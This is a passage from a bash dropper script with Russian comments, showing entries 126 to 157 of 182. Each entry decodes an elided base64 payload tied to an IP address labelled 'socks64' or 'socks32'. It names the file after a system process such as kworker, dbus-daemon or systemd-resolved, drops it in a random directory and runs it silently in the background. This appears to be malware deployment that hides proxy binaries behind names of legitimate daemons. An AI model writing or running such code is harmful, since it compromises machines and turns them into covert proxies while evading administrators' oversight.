    echo "🔧 [126/182] Deploying migration-926"
    
    # Собираем данные из частей
    FILE_DATA_125="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/migration-926"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_125" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./migration-926 >/dev/null 2>&1 & then
            echo "✅ Started: migration-926 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: migration-926"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: migration-926"
        failed=$((failed + 1))
    fi
    

    # Файл 127: 185.93.89.168_socks64 -> chronyd-528
    echo "🔧 [127/182] Deploying chronyd-528"
    
    # Собираем данные из частей
    FILE_DATA_126="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/chronyd-528"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_126" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./chronyd-528 >/dev/null 2>&1 & then
            echo "✅ Started: chronyd-528 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: chronyd-528"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: chronyd-528"
        failed=$((failed + 1))
    fi
    

    # Файл 128: 185.93.89.169_socks64 -> NetworkManager-482
    echo "🔧 [128/182] Deploying NetworkManager-482"
    
    # Собираем данные из частей
    FILE_DATA_127="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/NetworkManager-482"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_127" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./NetworkManager-482 >/dev/null 2>&1 & then
            echo "✅ Started: NetworkManager-482 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: NetworkManager-482"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: NetworkManager-482"
        failed=$((failed + 1))
    fi
    

    # Файл 129: 185.93.89.170_socks64 -> dbus-daemon-639
    echo "🔧 [129/182] Deploying dbus-daemon-639"
    
    # Собираем данные из частей
    FILE_DATA_128="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-639"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_128" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-639 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-639 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-639"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-639"
        failed=$((failed + 1))
    fi
    

    # Файл 130: 185.93.89.171_socks64 -> NetworkManager-127
    echo "🔧 [130/182] Deploying NetworkManager-127"
    
    # Собираем данные из частей
    FILE_DATA_129="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/NetworkManager-127"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_129" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./NetworkManager-127 >/dev/null 2>&1 & then
            echo "✅ Started: NetworkManager-127 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: NetworkManager-127"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: NetworkManager-127"
        failed=$((failed + 1))
    fi
    

    # Файл 131: 185.93.89.172_socks64 -> migration-886
    echo "🔧 [131/182] Deploying migration-886"
    
    # Собираем данные из частей
    FILE_DATA_130="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/migration-886"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_130" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./migration-886 >/dev/null 2>&1 & then
            echo "✅ Started: migration-886 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: migration-886"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: migration-886"
        failed=$((failed + 1))
    fi
    

    # Файл 132: 185.93.89.174_socks64 -> chronyd-568
    echo "🔧 [132/182] Deploying chronyd-568"
    
    # Собираем данные из частей
    FILE_DATA_131="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/chronyd-568"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_131" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./chronyd-568 >/dev/null 2>&1 & then
            echo "✅ Started: chronyd-568 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: chronyd-568"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: chronyd-568"
        failed=$((failed + 1))
    fi
    

    # Файл 133: 185.93.89.175_socks64 -> watchdog-233
    echo "🔧 [133/182] Deploying watchdog-233"
    
    # Собираем данные из частей
    FILE_DATA_132="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/watchdog-233"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_132" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./watchdog-233 >/dev/null 2>&1 & then
            echo "✅ Started: watchdog-233 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: watchdog-233"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: watchdog-233"
        failed=$((failed + 1))
    fi
    

    # Файл 134: 185.93.89.176_socks64 -> systemd-resolved-119
    echo "🔧 [134/182] Deploying systemd-resolved-119"
    
    # Собираем данные из частей
    FILE_DATA_133="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-resolved-119"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_133" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-resolved-119 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-resolved-119 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-resolved-119"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-resolved-119"
        failed=$((failed + 1))
    fi
    

    # Файл 135: 185.93.89.177_socks64 -> kworker-525
    echo "🔧 [135/182] Deploying kworker-525"
    
    # Собираем данные из частей
    FILE_DATA_134="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/kworker-525"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_134" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-525 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-525 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-525"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-525"
        failed=$((failed + 1))
    fi
    

    # Файл 136: 185.93.89.178_socks64 -> rcu_gp-298
    echo "🔧 [136/182] Deploying rcu_gp-298"
    
    # Собираем данные из частей
    FILE_DATA_135="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rcu_gp-298"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_135" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rcu_gp-298 >/dev/null 2>&1 & then
            echo "✅ Started: rcu_gp-298 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rcu_gp-298"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rcu_gp-298"
        failed=$((failed + 1))
    fi
    

    # Файл 137: 185.93.89.180_socks64 -> kworker-741
    echo "🔧 [137/182] Deploying kworker-741"
    
    # Собираем данные из частей
    FILE_DATA_136="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/kworker-741"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_136" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-741 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-741 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-741"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-741"
        failed=$((failed + 1))
    fi
    

    # Файл 138: 185.93.89.181_socks64 -> dbus-daemon-302
    echo "🔧 [138/182] Deploying dbus-daemon-302"
    
    # Собираем данные из частей
    FILE_DATA_137="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-302"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_137" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-302 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-302 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-302"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-302"
        failed=$((failed + 1))
    fi
    

    # Файл 139: 185.93.89.182_socks64 -> NetworkManager-542
    echo "🔧 [139/182] Deploying NetworkManager-542"
    
    # Собираем данные из частей
    FILE_DATA_138="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/NetworkManager-542"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_138" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./NetworkManager-542 >/dev/null 2>&1 & then
            echo "✅ Started: NetworkManager-542 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: NetworkManager-542"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: NetworkManager-542"
        failed=$((failed + 1))
    fi
    

    # Файл 140: 185.93.89.183_socks64 -> dbus-daemon-338
    echo "🔧 [140/182] Deploying dbus-daemon-338"
    
    # Собираем данные из частей
    FILE_DATA_139="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-338"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_139" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-338 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-338 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-338"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-338"
        failed=$((failed + 1))
    fi
    

    # Файл 141: 185.93.89.187_socks64 -> ksoftirqd-523
    echo "🔧 [141/182] Deploying ksoftirqd-523"
    
    # Собираем данные из частей
    FILE_DATA_140="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/ksoftirqd-523"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_140" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./ksoftirqd-523 >/dev/null 2>&1 & then
            echo "✅ Started: ksoftirqd-523 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: ksoftirqd-523"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: ksoftirqd-523"
        failed=$((failed + 1))
    fi
    

    # Файл 142: 185.93.89.188_socks64 -> dbus-daemon-883
    echo "🔧 [142/182] Deploying dbus-daemon-883"
    
    # Собираем данные из частей
    FILE_DATA_141="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-883"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_141" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-883 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-883 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-883"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-883"
        failed=$((failed + 1))
    fi
    

    # Файл 143: 185.93.89.189_socks64 -> NetworkManager-237
    echo "🔧 [143/182] Deploying NetworkManager-237"
    
    # Собираем данные из частей
    FILE_DATA_142="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/NetworkManager-237"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_142" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./NetworkManager-237 >/dev/null 2>&1 & then
            echo "✅ Started: NetworkManager-237 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: NetworkManager-237"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: NetworkManager-237"
        failed=$((failed + 1))
    fi
    

    # Файл 144: 185.93.89.190_socks64 -> systemd-resolved-246
    echo "🔧 [144/182] Deploying systemd-resolved-246"
    
    # Собираем данные из частей
    FILE_DATA_143="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-resolved-246"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_143" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-resolved-246 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-resolved-246 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-resolved-246"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-resolved-246"
        failed=$((failed + 1))
    fi
    

    # Файл 145: 185.93.89.190_socks32 -> systemd-logind-205
    echo "🔧 [145/182] Deploying systemd-logind-205"
    
    # Собираем данные из частей
    FILE_DATA_144="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-logind-205"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_144" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-logind-205 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-logind-205 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-logind-205"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-logind-205"
        failed=$((failed + 1))
    fi
    

    # Файл 146: 185.93.89.189socks32 -> systemd-resolved-680
    echo "🔧 [146/182] Deploying systemd-resolved-680"
    
    # Собираем данные из частей
    FILE_DATA_145="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-resolved-680"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_145" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-resolved-680 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-resolved-680 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-resolved-680"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-resolved-680"
        failed=$((failed + 1))
    fi
    

    # Файл 147: 185.93.89.188socks32 -> systemd-networkd-490
    echo "🔧 [147/182] Deploying systemd-networkd-490"
    
    # Собираем данные из частей
    FILE_DATA_146="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-networkd-490"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_146" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-networkd-490 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-networkd-490 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-networkd-490"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-networkd-490"
        failed=$((failed + 1))
    fi
    

    # Файл 148: 185.93.89.187_socks32 -> watchdog-732
    echo "🔧 [148/182] Deploying watchdog-732"
    
    # Собираем данные из частей
    FILE_DATA_147="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/watchdog-732"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_147" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./watchdog-732 >/dev/null 2>&1 & then
            echo "✅ Started: watchdog-732 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: watchdog-732"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: watchdog-732"
        failed=$((failed + 1))
    fi
    

    # Файл 149: 185.93.89.183socks32 -> systemd-resolved-571
    echo "🔧 [149/182] Deploying systemd-resolved-571"
    
    # Собираем данные из частей
    FILE_DATA_148="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-resolved-571"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_148" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-resolved-571 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-resolved-571 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-resolved-571"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-resolved-571"
        failed=$((failed + 1))
    fi
    

    # Файл 150: 185.93.89.182_socks32 -> rsyslog-486
    echo "🔧 [150/182] Deploying rsyslog-486"
    
    # Собираем данные из частей
    FILE_DATA_149="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-486"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_149" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-486 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-486 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-486"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-486"
        failed=$((failed + 1))
    fi
    

    # Файл 151: 185.93.89.180socks32 -> NetworkManager-406
    echo "🔧 [151/182] Deploying NetworkManager-406"
    
    # Собираем данные из частей
    FILE_DATA_150="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/NetworkManager-406"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_150" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./NetworkManager-406 >/dev/null 2>&1 & then
            echo "✅ Started: NetworkManager-406 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: NetworkManager-406"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: NetworkManager-406"
        failed=$((failed + 1))
    fi
    

    # Файл 152: 185.93.89.179_socks32 -> systemd-networkd-992
    echo "🔧 [152/182] Deploying systemd-networkd-992"
    
    # Собираем данные из частей
    FILE_DATA_151="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-networkd-992"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_151" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-networkd-992 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-networkd-992 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-networkd-992"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-networkd-992"
        failed=$((failed + 1))
    fi
    

    # Файл 153: 185.93.89.178socks32 -> ksoftirqd-771
    echo "🔧 [153/182] Deploying ksoftirqd-771"
    
    # Собираем данные из частей
    FILE_DATA_152="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/ksoftirqd-771"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_152" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./ksoftirqd-771 >/dev/null 2>&1 & then
            echo "✅ Started: ksoftirqd-771 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: ksoftirqd-771"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: ksoftirqd-771"
        failed=$((failed + 1))
    fi
    

    # Файл 154: 185.93.89.177_socks32 -> watchdog-809
    echo "🔧 [154/182] Deploying watchdog-809"
    
    # Собираем данные из частей
    FILE_DATA_153="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/watchdog-809"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_153" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./watchdog-809 >/dev/null 2>&1 & then
            echo "✅ Started: watchdog-809 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: watchdog-809"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: watchdog-809"
        failed=$((failed + 1))
    fi
    

    # Файл 155: 185.93.89.176socks32 -> systemd-resolved-435
    echo "🔧 [155/182] Deploying systemd-resolved-435"
    
    # Собираем данные из частей
    FILE_DATA_154="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-resolved-435"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_154" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-resolved-435 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-resolved-435 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-resolved-435"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-resolved-435"
        failed=$((failed + 1))
    fi
    

    # Файл 156: 185.93.89.175_socks32 -> dbus-daemon-529
    echo "🔧 [156/182] Deploying dbus-daemon-529"
    
    # Собираем данные из частей
    FILE_DATA_155="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-529"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_155" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-529 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-529 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-529"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-529"
        failed=$((failed + 1))
    fi
    

    # Файл 157: 185.93.89.174_socks32 -> chronyd-919
